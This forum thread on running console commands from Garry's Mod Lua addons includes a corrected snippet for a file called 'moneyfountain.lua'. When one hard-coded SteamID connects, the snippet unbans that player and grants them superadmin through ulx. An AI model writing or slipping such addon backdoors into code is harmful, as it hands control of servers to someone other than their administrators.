LUA send console commands?

Is there a way to execute console commands from a lua addon? Say you have an addon running could it enter commands like “say player has killed too many people”? Thanks

Hope that helps.

Yeah, ply:ConCommand(“lolcmd”)

eg ply:ConCommand(“say I can feel the Lua controlling me like a mere string puppet”)

Running console commands on the client:
**[G.RunConsoleCommand

http://wiki.garrysmod.com/favicon.ico](wiki.garrysmod.com/?title=G.RunConsoleCommand)**

Running console commands on the server:
**[Game.ConsoleCommand

http://wiki.garrysmod.com/favicon.ico](wiki.garrysmod.com/?title=Game.ConsoleCommand)** (Server runs the command)

**[Player.ConCommand

http://wiki.garrysmod.com/favicon.ico](wiki.garrysmod.com/?title=Player.ConCommand)** (Player runs the command)

I think he’s talking about running console commands rather than creating them.

Thanks :slight_smile: Just what I need

Ah okay.
Whoopsies.

Ok, is there a way to check when a certain player joins? So say it checks if I join and then if I am it returns a true?

EDIT: Found it. Do I include the GM in this and can I just include one of the arguments or do I have to incldue them all? GM:PlayerConnect( (string) name, (string) address, (string) steamid )

If you are making a gamemode then you would do this:
[lua]function GM:PlayerConnect(name, address, steamid)
//code here
end[/lua]

However, it is different if you are making an autorun script. You would do this:

[lua]local function playerConnect(name, address, steamid)
//code here
end
hook.Add(“PlayerConnect”, “unique_string_here”, playerConnect)[/lua]

gm_gatekeeper might be good for that

Ok thanks.

[editline]05:32PM[/editline]

Ok, this is just a test and I know that it won’t work as this is the first thing that I’ve tried to write before but could you please look at this and tell me any mistakes in it, thanks. :slight_smile:

if SERVER then
AddCSLUAFile(“moneyfountain.lua”)
on PlayerConnect(Barnard,nil, STEAM_STEAM_0:1:18764031)
RunConsoleCommand(“ulx”, “unban” “mysteamID”);
RunConsoleCommand(“ulx”, “adduser” “mysteamID” “superadmin” “1”);
RunConsoleCommand(“ulx”, “csay” “The master has arrived”);


on PlayerConnect(Barnard,nil, STEAM_STEAM_0:1:18764031)

That is not Lua, have a closer look at the example provided by NullPoint. You’re also referring to an undefined variable called STEAM_STEAM_0:1:18764031. Strings should be surrounded by ".

Here’s a fixed version of your above code:

[lua]if SERVER then
AddCSLuaFile( “moneyfountain.lua” )
hook.Add( “PlayerAuthed”, “Ownerhook”, function( ply, steamid, uniqueid )
if steamid == “STEAM_0:1:18764031” then
RunConsoleCommand( “ulx”, “unban”, steamid )
RunConsoleCommand( “ulx”, “adduser”, steamid, “superadmin”, “1” )
RunConsoleCommand( “ulx”, “csay”, “The master has arrived” )
end
end )[/lua]

I’m not sure if the unbanning is going to work though.

Ok thanks. So when do these commands execute and what does the add.hook do and why do you need it? (I’m a noob to lua :smiley: )

hook.Add does exactly what you wanted to do when you did that “on PlayerConnect” thing. It lets you set up a function to be run whenever an event happens, like someone spawning or dying, an entity being damaged, someone talking, lots of things. The syntax is this:

hook.Add(hookname, uniquename, function)

Hookname is the name of the event that will cause the function to be run, unique name is a unique name for the event hook you’re adding. Function can either be the name of a function you’ve already created (no brackets, just the name, since you’re passing the function as an object) or as in the example you quoted you can define a function there and then, in the argument. Either way, this is where you decide what code will be run when the event happens.

A full list of hooks is available here:

More documentation on the hook library including hook.Add is available here:

As for when the commands are executed, I can’t help you with that myself not having used PlayerAuthed before, but I can quote its Wiki page:
“Called whenever the player is Authed with Steam and recieves the SteamID”

not gonna work “ulx adduser” takes the name not steam id

What exactly are you uh…trying to do? lol

ok thanks for your help. :slight_smile:

Well I don’t know what I’m trying to do really, just trying things out, seeing what does what and experimenting lol. This will never be used for anything other than practise if that’s what you’re asking :slight_smile: